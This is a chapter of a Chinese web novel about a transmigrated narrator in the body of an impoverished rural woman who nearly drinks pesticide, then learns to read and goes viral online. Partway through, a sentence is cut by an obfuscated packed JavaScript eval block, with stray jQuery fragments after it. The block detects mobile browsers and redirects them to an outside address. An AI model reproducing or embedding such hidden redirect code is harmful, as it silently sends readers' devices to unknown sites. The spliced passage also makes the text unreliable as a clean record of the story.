7. 对照物五十岁了1

作品:《万字改命大法

    麻绳专挑细处断,苦命专找厄运人。


    太累了,黄莲花真的太累了。


    七十年代生在大山里,在娘家时受苦受穷;为了走出深山,嫁给同样家境贫困但在县城边村子里的男人;贫贱夫妻百事哀,夫家欺压他们小夫妻,丈夫暴怒反抗杀人,自己也进了监狱;自己一个外地媳妇,戴着劳改犯家人的帽子,夫家欺负,儿子也没管好,变成个小混混;苦等十年,老公出狱,两人再要了个女儿,日子眼看着就要好起,老公却从工地手脚架上摔下来,当场没了。


    工地老板赔了三十万,还没焐热,就让小混混儿子抢走了。黄莲花凄厉的哭声吵醒的半个村子的灯光,回想起这辈子的一幕幕,黄莲花只觉得命太苦,难道是名字没取好,一辈子受苦。


    第二天,黄莲花拖着疲惫的身躯下地,路过村尾好姐妹段荷花家,一大家子人坐在院子里吃饭,说笑声越过院墙直往她耳朵里钻,这是在庆祝段荷花的女儿考上公务员呢。


    最后一根稻草就这样压下来,黄莲花回家就找了噻虫啉。


    李茉有意识的时候,嘴唇正对着一个散发着刺鼻化学味道的瓶子,定睛一看:艹!


    噻虫啉,世面上最普及的杀虫剂,为了防止喝药自/杀,这些农药都添加了刺鼻的化学味道。即便如此黄莲花还是毫不犹豫,求死之心,可见一斑。


    李茉跑到院子里引吐,呕得苦胆水都吐出来了,记忆才姗姗来迟。万幸!黄莲花没把噻虫啉喝下去,只是嘴唇沾了瓶口。


    李茉在记忆里寻找,如今她家里就自己和上小学的女儿,公婆、娘家不管她,儿子几进宫,有相当于没有。也就如今农村的田不值钱,她种着丈夫名下的土地,从泥地里扣出几个钱来供养自己和女儿的生活。


    偏我来时不逢春。黄莲花可能不知道这句词,但她是生活和好姐妹段荷花一比,就是活生生的对照组。


    一辈子苦哈哈,和自己差不多出生、境遇,连名字都相仿佛的段荷花却一家美满,黄莲花连嫉妒的心都生不起,只有无尽哀怨的苦水里,投下最后一颗石子。


    李茉看着如今黑黄的皮肤、皲裂的手掌,以及乱糟糟的屋子,沉重叹息一声。


    晚上,读小学的女儿回来,一拉电灯,惊喜道:“妈,你换灯泡啦!”


    “嗯,以前光线太暗了,换了一个。”以前黄莲花为了省钱,只在女儿的房间安节能白炽灯,其他地方都是黄色的土灯泡。土灯泡便宜,一块钱一个,电费也低,如今换成节能灯,瓦数二十的灯泡也只要五块钱,电费和土灯泡一样。


    为了四块钱,黄莲花亏待了自己二十年。


    “太好啦!”康鸥欢喜得背着粉红色的书包回了自己的房间。她还小,只为家里的微笑改变惊喜。


    母女俩的晚饭很简单,如今国家有农村义务教育营养午餐,孩子在学校吃得好,黄莲花习惯性苛待自己,晚饭就是一菜一汤。


    等饭吃完了,李茉收拾了厨房,把明天要卖的水果挑拣好,才不到八点。农村人都睡得早,今晚,李茉却把女儿读幼儿园时候的拼音课本翻出来,敲响了女儿的房门。


    “妈,啥事儿啊。”


    李茉探出头,粗糙的大手和细腻的写字本很不协调,“小鸥啊,妈问问你,这个拼音怎么写?”


    “哈哈,妈,你咋想起来学拼音啊?”康鸥很好奇,对,她妈是不识字的。以前出生在山里,也没有啥读书的概念,别看现在康家也只是县城边上的村子,对城里人来说是山卡卡,但对真正深山里的人来说,这已经是富裕地方了。


    “你不是说现在很多人在网上卖水果吗?你给我下的软件我看了,里头有老师教认字,我跟着听了,可写不好,你是正经学生,我来问问你。”若非亲身经历,李茉也想不到,在发达的二十一世纪,还有人不识字。


    “好啊好呀,我要当老师了。”康鸥很兴奋,让她妈妈坐在书桌前,小大人似的握着她的手,教她写“sh”,“这是翘舌音,sh——”


    在女儿的帮助下,李茉学会了写拼音。


    李茉白天把自己种的水果背到公路边卖,村东头很多人都在这里摆摊,高速路口的回线从这里过。条件好的自家有摩托车,会在拐角坝子里租一个乡政府统一搭的棚子。黄莲花这样的散户,只能摆到边上,借同村人的光,人家也不撵。


    早上卖水果,下去去地里摘水果,管理果树,晚上回家分拣、清洗、装筐,再学一个小时的认字。


    康鸥小孩子心性,教妈妈学了两天,就不耐烦了,小孩子也有自己的交际,吃了饭,做了作业,很快就和小伙伴疯玩去了。


    李茉用手机记录自己的认字生涯,“我不识字,听说在网上能卖水果,也不知道咋卖。用语音转文字的话,客人看了都摇头,说这是命令语气,让人看了不舒服。啥语气不语气的,我也不懂。以前没机会,现在我想识字。”


    黑黄的皮肤、蓬乱的头发、朴素的衣服和偶尔入境黝黑、苍老、皲裂的手,一位典型的农村妇女,她的视频点赞在最多一百出头,淹没于流量的巨大河流中。


    “还是现在政策好,我家边上修了高速公路,我们也跟着沾光,能卖点儿小东西。”


    “这是我学认字的第三十天,已经学完了拼音和一百常用字。我女儿说,我这水平算幼儿园毕业了。”


    “这是我学认字的第六十天,今天学的课文是《人有两件宝》,老师说得真好,人有两件宝,双手和大脑,双手会做工,大脑会思考,用手又用脑,才能有创造。以前不读书、不懂事,瞎干,只会卖死力气。自从我学认字之后,算账都快了,感觉自己变聪明了。”


    时间从春到冬,李茉学认字已经坚持快一年了。她卖的水果从春天的殷桃、枇杷,到夏天的李子、葡萄,再到秋天的梨子、苹果,最后变成冬天的柑橘。


    所有的水果,都是她自己种的,一个人,自己管。


    冬天,摆摊的人少了很多。风大、人少,同村人都不稀罕这点儿辛苦钱,安心猫在家里。李茉却风雨无阻,坚持摆摊。同村人的租用的棚子没人用,她和人打了招呼坐到棚子里去,好歹能挡挡风。


    烤着小炉子,李茉捧着课本大声念小学二年级的课文《北京亮起来了》:“每当夜幕降临,北京就亮起来了。整个北京变成了灯的海洋,光的世界。”


    突然一辆车听在不远


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710330|173613||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    处,下来一个年轻人问路:“大婶,哪里有厕所啊。”


    “哦哦,再往前走有一公里不到,有加油站,加油站有厕所的。”


    年轻人看着李茉放在膝盖上的课本,好奇道:“大婶,你这是给孙女辅导功课呢?”


    “不是,我自己学认字。”


    “自己学?”年轻人是个博主,流量的敏锐性让他突然灵光一闪,打开了挂在脖子上的摄像头。


    博主引导者李茉讲述自己的识字的来龙去脉,听她说村里人嘲笑她一把年纪还读书,说没有好老师只能网上学,说没有人看好她。


    “莲花婶子,我刚听到你读课文,再给我读一遍吧。”


    李茉又读起了那篇《北京亮起来了》,声音里是与她年龄不符的认真与向往。


    博主的视频突然在网上爆火,视频开头是一个带着俗气粉红色耳罩,穿着乡土气十足棉服的中年妇女在读课文:“夜晚的北京,多么明亮,多么美丽!”她是那样专注,那样神往。


    博主细细讲述这个故事:“那天风很大,我下车问路,听到莲花大婶在读课文。我问她为什么这个年纪学认字,她说读书能让脑袋变聪明。我请她讲一讲自己的生平故事,她却说自己不能变成祥林嫂。才认字不到一年,她已经知道祥林嫂了。”


    “我们厌烦学习,批判学生负担重,我们抱怨着生活的方方面面。可看她莲花婶子的眼睛,我却说不出话来,我只在文学作品里看到过这样的描述,这是对知识的向往。”


    “她生在缺衣少食的七十年代,没有享受到时代的进步,人生却已经走过一多半。这样的人,我们习以为常称呼他们为被时代车轮抛弃的人。可是这次下车问路,我却遇见了一位拼命追赶马车的莲花大婶。”


    视频的最后,莲花大婶笑着感慨:“要是哪天能去一趟北京就好了,肯定和书里写得一样漂亮。我真是赶上好时候了,吃得饱、穿得暖、没人欺负,靠种地能养活女儿,还能学认字,真好啊。”


    视频播放量突破十亿,有无数官媒下场点赞,评论区更是很多神评。


    “真诚才是最大的必杀技。”


    “生活是最好的写作老师。”


    “再好的作家,也写不出这样的感情。”


    “没人看好你,偏偏你最争气。”


    李茉的账号也被挖出来,“黄莲花学认字”的视频从几十、一百出头的播放量,突然迎来流量潮,每条视频播放量几乎都过十万、点赞量几乎都过万。


    有媒体蜂拥来采访,县融媒中心拍摄了《黄莲花的一天》宣传县里丰富的水果资源,乡政府出面给划了个棚子,黄莲花象征性用一块钱租用,不用再受冷风吹。


    更多的自媒体涌入,李茉几乎成了打卡点,每个人都会来和黄莲花说几句话,买她摊位上的水果,和她交谈,她成了巨大的流量。


    也有人故意引导她说错话,胡乱剪辑,博取眼球。李茉干脆开了个直播,“黄莲花学认字”粉丝量暴涨,成为有几十万粉丝的小网红,励志经历让人钦佩。


    她的生平被人扒出来,坐牢的丈夫、儿子,成为巨大污点,网上留言纷纷,骂她的话几乎占满屏幕。